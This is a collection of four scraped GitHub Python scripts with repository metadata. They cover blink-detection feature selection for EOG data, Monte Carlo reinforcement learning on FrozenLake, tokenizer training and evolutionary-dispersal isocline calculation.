{"seq_id": "6125207221", "text": "import os\nimport sys\nimport collections\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\n\nclass scoring():\n    # This class includes all helper functions that can be used to assess performance of culling technique\n    \n    def __init__(self, featureNames):\n        self.featureNames = featureNames\n    \n    def f1_score(self, currDistribution):\n        \"\"\"\n        Calculate f1 score using the distribution of blinks (Positive) versus wire movements (Negative)\n        \"\"\"\n        \n        tp = currDistribution[0][-1] / currDistribution[0][0]\n        fp = currDistribution[2][-1] / currDistribution[2][0]\n        fn = (currDistribution[0][0] - currDistribution[0][-1]) / currDistribution[0][0]\n        \n        return tp / (tp + (0.5 * (fp + fn)))\n    \n    def accuracy(self, currDistribution):\n        \"\"\"\n        Calculate the accuracy using the distribution of blinks (Positive) versus wire movements (Negative)\n        \"\"\"\n        return (currDistribution[0][-1] + currDistribution[2][0] - currDistribution[2][-1]) / (currDistribution[0][0] + currDistribution[2][0])\n    \n    def performance(self, curr_cullInfo, currFinalLabelsCull, currFinalFeaturesCull):\n        \"\"\"\n        Given the culling steps, take the original data and return the performance of the entire culling process\n        \"\"\"\n        \n        currDistribution = {key: [] for key in list((collections.Counter(currFinalLabelsCull)).keys())}\n        classDistribution = collections.Counter(currFinalLabelsCull)\n        for key in currDistribution.keys():\n            currDistribution[key].append(classDistribution[key])\n        \n        for cullInfoInd in range(len(curr_cullInfo)):\n            featureCull, expressions, values = curr_cullInfo[cullInfoInd]\n            \n            colInd = list(self.featureNames).index(featureCull)\n            classDistribution = collections.Counter(currFinalLabelsCull)\n            \n            assert len(expressions) == len(values), f\"Invalid cullInfo step. Expected values to match {len(expressions)} number of expressions, got {len(values)} values.\"\n            for setInd in range(len(expressions)):\n                mask = eval(\"currFinalFeaturesCull[:, colInd] \" + expressions[setInd] + str(values[setInd]))\n                \n                # Apply the mask\n                currFinalLabelsCull = currFinalLabelsCull[mask]\n                currFinalFeaturesCull = currFinalFeaturesCull[mask]\n        \n        classDistribution = collections.Counter(currFinalLabelsCull)\n        \n        for key in currDistribution.keys():\n            if key in classDistribution:\n                currDistribution[key].append(classDistribution[key])\n            else:\n                currDistribution[key].append(0)\n        \n        return self.accuracy(currDistribution), self.f1_score(currDistribution)\n    \nclass machineLearning():\n    # This class includes all helper functions useful for feature selection using machine learning\n    \n    def getTrainingCurves(self, featureNames, performMachineLearning, standardizedFeatures_Cull, selectedFeatures, allFinalLabels, modelTypes, errorBars, modelInd):\n        \"\"\"\n        Plots the training and testing performance of the ML model with respect to the number of features used in the model\n        \"\"\"\n        selectedFeatures_Cull = performMachineLearning.modelControl.getSpecificFeatures(featureNames, selectedFeatures, standardizedFeatures_Cull)\n        Training_Data, Testing_Data, Training_Labels, Testing_Labels = train_test_split(selectedFeatures_Cull, allFinalLabels, test_size=0.2, shuffle= True, stratify=allFinalLabels)\n        \n        avg_train_scores = []\n        avg_test_scores = []\n        \n        std_train_scores = []\n        std_test_scores = []\n        \n        # Train the model and save the accuracy\n        \n        # For each selected feature\n        for i in range(1, len(selectedFeatures) + 1):\n            \n            # Get and split data for all features up to the currently selected feature\n            Training_Data, Testing_Data, Training_Labels, Testing_Labels = train_test_split(selectedFeatures_Cull[:, :i], allFinalLabels, test_size=0.2, shuffle= True, stratify=allFinalLabels)\n            modelPerformance = performMachineLearning.modelControl.modelClasses[modelInd].trainModel(Training_Data, Training_Labels, Testing_Data, Testing_Labels, selectedFeatures[0:i])\n            \n            # If we want to include error bars\n            if errorBars:\n                train_scores = []\n                test_scores = []\n                \n                # Get standard deviation by generating 100 models using the same data, with different split\n                for j in range(100):\n                    Training_Data, Testing_Data, Training_Labels, Testing_Labels = train_test_split(selectedFeatures_Cull[:, :i], allFinalLabels, test_size=0.2, shuffle= True, stratify=allFinalLabels)\n                    modelPerformance = performMachineLearning.modelControl.modelClasses[modelInd].trainModel(Training_Data, Training_Labels, Testing_Data, Testing_Labels, selectedFeatures[0:i], imbalancedData = True)           \n                    train_scores.append(performMachineLearning.modelControl.modelClasses[modelInd].scoreModel(Training_Data, Training_Labels, imbalancedData = True))\n                    \n                    test_scores.append(modelPerformance)\n                \n                # append the average score across all 100 models to avg_train and avg_test\n                avg_train_scores.append(np.mean(train_scores))\n                avg_test_scores.append(np.mean(test_scores))\n                \n                # append the standard deviation across all 100 models\n                std_train_scores.append(np.std(train_scores))\n                std_test_scores.append(np.std(test_scores))\n                \n            else:\n                # If we do not want to include error bars, we only generate 1 model, and do not keep track of standard deviation\n                \n                avg_train_scores.append(performMachineLearning.modelControl.modelClasses[modelInd].scoreModel(Testing_Data, Testing_Labels, imbalancedData = True))\n                avg_test_scores.append(modelPerformance)\n                    \n        plt.figure()\n        \n        if errorBars: # plot learning curve with errorbars using the standard deviation scores\n            plt.errorbar(np.arange(1, len(selectedFeatures)+1), avg_train_scores, yerr=std_train_scores, marker='o', capsize=5)\n            plt.errorbar(np.arange(1, len(selectedFeatures)+1), avg_test_scores, yerr=std_test_scores, marker='o', capsize=5)\n        else: # otherwise, just plot the learning curve with respect to the number of features used to generate the model\n            plt.plot(np.arange(1, len(selectedFeatures)+1), avg_train_scores, marker='o')\n            plt.plot(np.arange(1, len(selectedFeatures)+1), avg_test_scores, marker='o')\n        \n        # formatting plot\n        plt.xlabel('Number of Selected Features')\n        plt.ylabel('Model Performance (Accuracy)')\n        plt.legend([\"training\", \"testing\"])\n        plt.title('Learning Curves: ' + modelTypes[modelInd])\n        plt.show()\n        \n        return avg_train_scores, avg_test_scores\n    \nclass gridSearch():\n    # This class includes all helper functions useful for finding the optimal bounds for culling datapoints\n    def __init__(self, featureNames, allFinalFeaturesCull, allFinalLabelsCull):\n        self.featureNames = featureNames\n        self.allFinalFeaturesCull = allFinalFeaturesCull\n        self.allFinalLabelsCull = allFinalLabelsCull\n        self.scoring = scoring(featureNames)\n        \n    \n    def simplify(self, curr_cullInfo):\n        \"\"\"\n        Given the current culling steps, remove unnecessary bounds (when the lower bound is already the minimum value of all \n        datapoints, or the upper bound is the maximum value of all datapoints)\n        \"\"\"\n        \n        new_cullInfo = []\n        # For each step in the culling pipeline\n        for cull_step in curr_cullInfo:\n            feature = cull_step[0]\n            colInd = list(self.featureNames).index(feature)\n            features = self.allFinalFeaturesCull[:,colInd]\n            currmax = max(features)\n            currmin = min(features)\n            \n            # If the value of the lower bound is the current minimum of all datapoints\n            if cull_step[2][0] == currmin:\n                # this culling step is not necessary, and we can simplify\n                new_cullInfo.append((feature, [\"<\"], [cull_step[2][1]]))\n            # If the value of the upper bound is the current maximum of all datapoints\n            elif cull_step[2][1] == currmax:\n                # this culling step is not necessary, and we can simplify.\n                new_cullInfo.append((feature, [\">\"], [cull_step[2][0]]))\n            else:\n                # Otherwise, both boundaries are kept.\n                new_cullInfo.append(cull_step)\n                \n        return new_cullInfo\n    \n    def eog_pipeline_formatted(self, cullInfo):\n        \"\"\"\n        Puts cullInfo in this format:\n            \n        if not 0.008 < blinkDuration < 0.5:\n            if debugBlinkDetection: print(\"\\t\\tBad Blink Duration:\", blinkDuration, xData[peakInd])\n            return [None]\n        \n        Which is how the EOG pipeline code is formatted in eogAnalysis.py (can be pasted after line 713).\n        \"\"\"\n        \n        print(\"---------- Code for Culling Bad Blinks in eogAnalysis.py ----------\")\n        \n        for step in cullInfo:\n            line = \"if not \"\n            if '>' in step[1]:\n                line += str(step[2][step[1].index('>')]) + \" < \"\n            line += str(step[0][:-4])\n            if '<' in step[1]:\n                line += \" < \" + str(step[2][step[1].index('<')])\n            line += \":\"\n            print(line)\n            print(\"    \" + \"if debugBlinkDetection: print(\\\"\\t\\tBad \" + str(step[0][:-4]) + \":\\\", \" + str(step[0][:-4]) + \", xData[peakInd])\")\n            print(\"    return [None]\")\n            \n        print(\"-------------------------------------------------------------------\")\n    \n    def individual_search(self, curr_selectedFeatures):\n        \"\"\"\n        Finds bound that optimizes accuracy for for each feature independently.\n        and returns a list of all of the bounds found for the features.\n        \"\"\"\n        bins = 50\n        cullInfo = []\n        # For each selected feature\n        for feature in curr_selectedFeatures:\n            \n            # Get all data of given feature\n            colInd = list(self.featureNames).index(feature)\n            features = list(self.allFinalFeaturesCull[:,colInd])\n            \n            # Find maximum and minimum of all data\n            currmax = max(features)\n            currmin = min(features)\n            \n            # We only want to check bins number of boundaries. Calculate how much we need to increment by to assess the whole range of values\n            delta = (max(features) - min(features)) / bins\n            \n            cullInfo.append((feature, [\">\"], [currmin]))\n            \n            scores = []\n            \n            # Loop over each possible lower bound, and compute the performance if the bound were to be placed at that value.\n            for i in range(bins):\n                cullInfo[-1] = (feature, [\">\"], [currmin + (i * delta)])\n                curr_accuracy, curr_f1 = self.scoring.performance(cullInfo, self.allFinalLabelsCull, self.allFinalFeaturesCull)\n                scores.append(curr_accuracy)\n            \n            # The lower bound is the bound that recieves the best performance score\n            lower_bound = currmin + (np.argmax(scores) * delta)\n            \n            scores = []\n            # Loop over each possible upper bound\n            for i in range(bins):\n                # Only loop until we have reached the lower bound, as the upper bound must be greater than the lower bound\n                if currmax - (i * delta) <= lower_bound:\n                    break\n                cullInfo[-1] = (feature, [\">\", \"<\"], [lower_bound, currmax - (i * delta)])\n                curr_accuracy, curr_f1 = self.scoring.performance(cullInfo, self.allFinalLabelsCull, self.allFinalFeaturesCull)\n                scores.append(curr_accuracy)\n            # The upper bound is the bound that recieves the best performance score\n            upper_bound = currmax - (np.argmax(scores) * delta)\n            \n            cullInfo[-1] = (feature, [\">\", \"<\"], [lower_bound, upper_bound])\n                \n        # return all of the bounds, \n        return cullInfo, self.scoring.performance(cullInfo, self.allFinalLabelsCull, self.allFinalFeaturesCull)\n   \n        \n    def bfs(self, curr_selectedFeatures):\n        \"\"\"\n        Performs a breadth-first search, exploring possible bounds for all of the features.\n        Attempts to maximize the total performance across all features.\n        \"\"\"\n        \n        # Initialize visited and queue\n        visited = []\n        queue = []\n        best_accuracy = 0\n        best_cullInfo = []\n        \n        # Set number of bins for discretization of feature values\n        bins = 15\n        deltas = []\n        curr_cullInfo = []\n        \n        # For each selected feature, find the amount we need to increment/decrement by to reach its \"neighbor\". We want to check bounds closest to the current bound.\n        for feature in curr_selectedFeatures:\n            colInd = list(self.featureNames).index(feature)\n            features = list(self.allFinalFeaturesCull[:,colInd])\n            \n            currmax = max(features)\n            currmin = min(features)\n            deltas.append((max(features) - min(features)) / bins)\n            \n            # Initialize the culling to at first, not cull any datapoints.\n            curr_cullInfo.append((feature, [\">\", \"<\"], [currmin, currmax]))\n            \n        # Queue the current culling step\n        queue.append(curr_cullInfo)\n        visited.append(str(curr_cullInfo))\n\n        \n        while queue: # Creating loop to visit each node\n            # Pop a culling pipeline off of the queue\n            currCullInfo = queue.pop(0)\n            curr_accuracy, curr_f1_score = self.scoring.performance(currCullInfo, self.allFinalLabelsCull, self.allFinalFeaturesCull)\n            \n            # If this culling pipeline has the best performance so far, continue to explore its \"neighbors\".\n            if curr_accuracy >= best_accuracy:\n                best_accuracy = curr_accuracy\n                best_cullInfo = currCullInfo\n                \n                # For each selected feature\n                for feature_ind in range(len(curr_selectedFeatures)):\n                    newCullInfo = np.copy(currCullInfo)\n                    # Create a new culling pipeline where the culling step that includes the feature has a slightly stricter lower bound (increases by delta value)\n                    newCullInfo[feature_ind] = (curr_selectedFeatures[feature_ind], [\">\", \"<\"], [currCullInfo[feature_ind][2][0] + deltas[feature_ind], currCullInfo[feature_ind][2][1]])\n                    # If this pipeline has not been visited, add it to the queue. We want to visit this eventually\n                    if str(newCullInfo) not in visited:\n                        queue.append(newCullInfo)\n                        visited.append(str(newCullInfo))\n                        \n                    newCullInfo = np.copy(currCullInfo)\n                    # Create a new culling pipeline where the culling step that includes the feature has a slightly stricter upper bound (decreases by delta value)\n                    newCullInfo[feature_ind] = (curr_selectedFeatures[feature_ind], [\">\", \"<\"], [currCullInfo[feature_ind][2][0], currCullInfo[feature_ind][2][1] - deltas[feature_ind]])\n                    # If this pipeline has not been visited, add it to the queue. We want to visit this eventually\n                    if str(newCullInfo) not in visited:\n                        queue.append(newCullInfo)\n                        visited.append(str(newCullInfo))\n                        \n        return best_cullInfo, best_accuracy\n    ", "repo_name": "Samwich1998/Stress-Analysis-Head", "sub_path": "_Supplementary/Blink Identification/featureSelection.py", "file_name": "featureSelection.py", "file_ext": "py", "file_size_in_byte": 16202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.Counter", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 37, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 45, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 87, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.errorbar", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 306, "usage_type": "call"}]}
{"seq_id": "40231391727", "text": "import numpy as np\nimport gym\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n    ENV = gym.make(\"FrozenLake-v0\")\n    DISCOUNT = 0.9\n    EPSILON = 0.1\n    POSSIBLE_ACTIONS = [0, 1, 2, 3]\n    STATE_SPACE = list(range(16))\n    ESTIMATES = {}\n    RETURNS = {}\n    PAIRS_VISITED = {}\n\n    for state in STATE_SPACE:\n        for action in POSSIBLE_ACTIONS:\n            ESTIMATES[(state, action)] = 0\n            RETURNS[(state, action)] = 0\n            PAIRS_VISITED[(state, action)] = 0\n\n    POLICY = {}\n    for state in STATE_SPACE:\n        POLICY[state] = np.random.choice(POSSIBLE_ACTIONS)\n\n    NUM_EPISODES = 100000\n    STATUS_INTERVAL = 5000\n\n    for i in range(NUM_EPISODES):\n        states_actions_returns = []\n        if i % STATUS_INTERVAL == 0:\n            print(\"starting episode\", i)\n        observation = ENV.reset()\n        memory = []\n        done = False\n        while not done:\n            action = POLICY[observation]\n            observation_, reward, done, info = ENV.step(action)\n            memory.append((observation, action, reward))\n            observation = observation_\n\n        memory.append((observation, action, reward))\n        returns = 0\n        last = True # start at t = T - 1\n        for state, action, reward in reversed(memory):\n            if last:\n                last = False\n            else:\n                states_actions_returns.append((state, action, returns))\n            returns = DISCOUNT * returns + reward\n\n        states_actions_returns.reverse()\n        states_and_actions = []\n        for state, action, returns in states_actions_returns:\n            if (state, action) not in states_and_actions:\n                PAIRS_VISITED[(state, action)] += 1\n                RETURNS[(state, action)] += (\n                    (1 / PAIRS_VISITED[(state, action)])\n                    * (returns - RETURNS[(state, action)])\n                )\n                ESTIMATES[(state, action)] = RETURNS[(state, action)]\n                states_and_actions.append((state, action))\n                values = np.array(\n                    [ESTIMATES[(state, a)] for a in POSSIBLE_ACTIONS]\n                )\n                best = np.random.choice(np.where(values == values.max())[0])\n                rand = np.random.random()\n                if rand < 1 - EPSILON:\n                    POLICY[state] = POSSIBLE_ACTIONS[best]\n                else:\n                    POLICY[state] = np.random.choice(POSSIBLE_ACTIONS)\n    NUM_GAMES = 1000\n    REWARDS = np.zeros(NUM_GAMES)\n    EPISODE_REWARDS = 0\n    for i in range(NUM_GAMES):\n        observation = ENV.reset()\n        done = False\n        while not done:\n            action = POLICY[observation]\n            observation_, reward, done, info = ENV.step(action)\n            observation = observation_\n            EPISODE_REWARDS += reward\n        REWARDS[i] = EPISODE_REWARDS\n    print(EPISODE_REWARDS / NUM_GAMES)\n    plt.plot(REWARDS)\n    plt.show()\n", "repo_name": "paulfioravanti/Reinforcement-Learning-In-Motion", "sub_path": "Unit-6-The-Windy-Gridworld/frozen_lake.py", "file_name": "frozen_lake.py", "file_ext": "py", "file_size_in_byte": 2935, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gym.make", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "9417810258", "text": "import os\nfrom argparse import ArgumentParser\n\nimport datasets\nimport yaml\n\nfrom togepi.data_processors.tokenizers.tokenizer import TogepiTokenizer\nfrom togepi.utils.utils import set_seed\n\n\ndef main(config_path, hf_dataset_path, path_to_store_hf_tokenizer):\n    set_seed(seed=42)\n\n    with open(config_path, 'r') as fp:\n        config = yaml.safe_load(fp)\n\n    hf_dataset = datasets.load_from_disk(dataset_path=hf_dataset_path)\n    tokenizer = TogepiTokenizer(**config['tokenizer']['args'])\n    tokenizer.train(hf_dataset['train'])\n    tokenizer.save(path_to_store_hf_tokenizer)\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser(description='build tokenizer using a huggingface dataset')\n    parser.add_argument('--config_path', type=str, help='path to config file')\n    parser.add_argument('--hf_dataset_path', type=str, help='path to the huggingface dataset', default=os.getcwd())\n    parser.add_argument('--path_to_store_hf_tokenizer', type=str, help='path to store the tokenizer',\n                        default=os.getcwd())\n\n    args = parser.parse_args()\n\n    main(config_path=args.config_path, hf_dataset_path=args.hf_dataset_path,\n         path_to_store_hf_tokenizer=args.path_to_store_hf_tokenizer)\n", "repo_name": "TushaarGVS/togepi", "sub_path": "scripts/data_preprocessing/build_tokenizer.py", "file_name": "build_tokenizer.py", "file_ext": "py", "file_size_in_byte": 1216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "togepi.utils.utils.set_seed", "line_number": 12, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 15, "usage_type": "call"}, {"api_name": "datasets.load_from_disk", "line_number": 17, "usage_type": "call"}, {"api_name": "togepi.data_processors.tokenizers.tokenizer.TogepiTokenizer", "line_number": 18, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 26, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "23748863264", "text": "# get the data needed to plot the TEP with a quiver plot on top of it\n\nimport numpy as np\n#import pickle\nimport os\nimport pandas as pd\nimport csv\nfrom scipy.interpolate import interp1d\n\nimport sys\nsys.path.insert(0,'../../functions') # so I can import the functions\nfrom cycle_funcs import calc_fitness, calc_dfitness, sample_wsV_dimorph\n\n# =====================================================================================================================\n\n# model parameters\n# ---\n\n# which parameter set to find the isoclines for (comment out ones I've done)\nsuffix = '_1'\n\n'''\n# default parameter values\nID = 0\nngrid = 31 # number of grid points in log space along the resident1 axis\n'''\n# high dispersal cost parameter values\nID = 17\nngrid = 31 # number of grid points in log space along the resident1 axis\n\n# where results will be stored\ndir_results = '../../results/circular/'\n\n# default algorithm parameters\nparams = {\n        'tol_res': 1e-10,       # the euclidean distance in final resident structure before say it's equilibriated\n        'tol_res_dimorph': 1e-6,# the euclidean distance in final dimorphic resident structure before say it's equilibriated\n        'tol_mut': 1e-10,       # the euclidean distance in final mutant structure before say it's equilibriated\n        'delta_m': 1e-9,        # step size to estimate gradients; default heuristic sqrt(machine error) * approx value\n        }\n\n\n# read in the info from the sing_strat_x.csv file and repopulate params dictionary\n# ---\n\npar_names = ['suffix', 'layout', 'f', 'c', 'r', 'KL', 'h', 'KS_mean', 'p_cat'] # names of missing parameter values\n\nfname = dir_results + 'sing_strat' + suffix + '.csv'\ndf = pd.read_csv(fname)\nss_res = df.iloc[ID] # the particular row we want\n\nfor par_name in par_names:\n\n    params[par_name] = ss_res[par_name]\n\n\n# read in the isoclines to define the TEP region\n# ---\n\nfname = dir_results + 'isocline' + suffix + '_' + str(ID) + '.csv'\ndf = pd.read_csv(fname)\ndf = df.sort_values(by=['m_mut'])\n\n# grab the isoclines\nm_iso1v = df['m_res'].values\nm_iso2v = df['m_mut'].values\n\n# flip all points below the diagonal so that we define the TEP region\nregion = [ (m_mut, m_res) if m_res > m_mut else (m_res, m_mut) for m_res, m_mut in zip(m_iso1v, m_iso2v) ]\n\n# make sure the first entry is 0,0\nif region[0] != (0,0):\n    region += [(0,0)] + region\n\n# make sure the last entry is 0,y_intercept\nif region[-1][1] == 1:\n    region[-1] = (0, ss_res['y_intercept'])\nelse:\n    region += [(0, ss_res['y_intercept'])]\n\n\n# split the region boundary into an upper and lower bound on resident 2\n# ---\n\n# find the extremal point of the region in the resident 1 dimension, the bulging out to the right of the PIP graph\nm_iso1V, m_iso2V = zip(*region)\nextremal_res1 = max(m_iso1V)\nextremal_idx = m_iso1V.index( extremal_res1 )\nextremal_res2 = m_iso2V[extremal_idx]\n\n# split the region boundary into two lines, one for a lower bound on res2, and one for an upper bound\nline_lo = [ (m_res1, m_res2) for m_res1, m_res2 in region if m_res2 <= extremal_res2 ]\nline_hi = [ (m_res1, m_res2) for m_res1, m_res2 in region if m_res2 >= extremal_res2 ]\n\n# create functions that will return the lower and upper bound on res2 for a given res1\nm_res1V, m_res2V = zip(*line_lo)\nf_lo = interp1d(m_res1V, m_res2V)\nm_res1V, m_res2V = zip(*line_hi)\nf_hi = interp1d(m_res1V, m_res2V)\n\n\n# create a grid along the resident 1 dimension, and find the isocline at each point along that grid\n# ---\n\n# do it in log space\npwrV = np.linspace(-6, np.log10(extremal_res1), ngrid)[:-1]\nm_res1V = [ 10**pwr for pwr in pwrV ]\n\n# if the csv file doesn't exist yet, create it, and include the resident 1 = 0 point in the grid\n# ---\n\nfname = dir_results + 'dimorph_isocline' + suffix + '_' + str(ID) + '.csv'\nif not os.path.isfile(fname):\n\n    # add the zero point to our search\n    m_res1V = [0] + m_res1V \n\n    # write the column headers\n    with open(fname, \"w\", newline=\"\") as ftarget:\n        writer = csv.writer(ftarget)\n        writer.writerow( ['m_res1', 'm_res2', 'dfit2'] )\n\n\n\n# for each resident 1 strategy, find where the resident 2 mutant invasion fitness gradient equals 0\n# (I know that this is an attractor)\n# ---\n\nfor m_res1 in m_res1V:\n\n\n    m_res2_hi_bnd = f_hi([m_res1])[0]\n    m_res2_lo_bnd = f_lo([m_res1])[0]\n\n    # find where resident 2 invasion fitness gradient goes positive\n    # ---\n\n    # initialise\n    m_res2_lo = m_res2_hi_bnd\n    dfit2_lo = -1   # at this point, the resident-2 fitness gradient is negative\n    nL = None\n\n    print('find where gradient goes positive')\n\n    while dfit2_lo < 0:\n\n        print(m_res2_lo)\n\n        # update\n        m_res2_hi = m_res2_lo\n        dfit2_hi = dfit2_lo\n        nL_hi = nL\n\n        # halve distance to lower bound for the new low estimate\n        m_res2_lo = (m_res2_lo_bnd + m_res2_hi) / 2\n\n        # find the fitness gradient here\n        wsV, nL = sample_wsV_dimorph(m_res1, m_res2_lo, params, return_nT=True, nL=nL)\n        dfit2_lo = calc_dfitness(m_res2_lo, wsV, params)\n\n    nL_lo = nL\n\n    print('m_res2_lo = ' + str(m_res2_lo))\n\n\n    # use bisection method to find the root\n    # ---\n\n    print('find root')\n\n    tol_dfit = 1e-7 # maximum derivative that we'll accept as being close enough to 0 \n    dfit2_mid = dfit2_lo\n    while abs(dfit2_mid) > tol_dfit:\n\n        m_res2_mid = (m_res2_lo + m_res2_hi) / 2\n        nL_mid = [ (nL_lo[0]+nL_hi[0])/2 , (nL_lo[1]+nL_hi[1])/2 ]\n        wsV_mid, nL_mid = sample_wsV_dimorph(m_res1, m_res2_mid, params, return_nT=True, nL=nL_mid)\n        dfit2_mid = calc_dfitness(m_res2_mid, wsV_mid, params) \n\n        if np.sign(dfit2_lo) == np.sign(dfit2_mid):\n            nL_lo = nL_mid\n            wsV_lo = wsV_mid\n            dfit2_lo = dfit2_mid\n            m_res2_lo = m_res2_mid\n        else:\n            nL_hi = nL_mid\n            wsV_hi = wsV_mid\n            dfit2_hi = dfit2_mid\n            m_res2_hi = m_res2_mid\n\n        print(m_res2_mid)\n\n\n    # write this isocline point to the csv\n    # ---\n\n    with open(fname, \"a\", newline=\"\") as ftarget:\n\n        writer = csv.writer(ftarget)\n        writer.writerow([m_res1, m_res2_mid, dfit2_mid])\n\n", "repo_name": "nadiahpk/sumatran-dispersal-dimorphism", "sub_path": "scripts/circular/find_dimorph_isocline_1_0.py", "file_name": "find_dimorph_isocline_1_0.py", "file_ext": "py", "file_size_in_byte": 6113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 61, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 97, "usage_type": "call"}, {"api_name": "scipy.interpolate.interp1d", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 120, "usage_type": "call"}, {"api_name": "cycle_funcs.sample_wsV_dimorph", "line_number": 158, "usage_type": "call"}, {"api_name": "cycle_funcs.calc_dfitness", "line_number": 159, "usage_type": "call"}, {"api_name": "cycle_funcs.sample_wsV_dimorph", "line_number": 177, "usage_type": "call"}, {"api_name": "cycle_funcs.calc_dfitness", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 180, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 199, "usage_type": "call"}]}
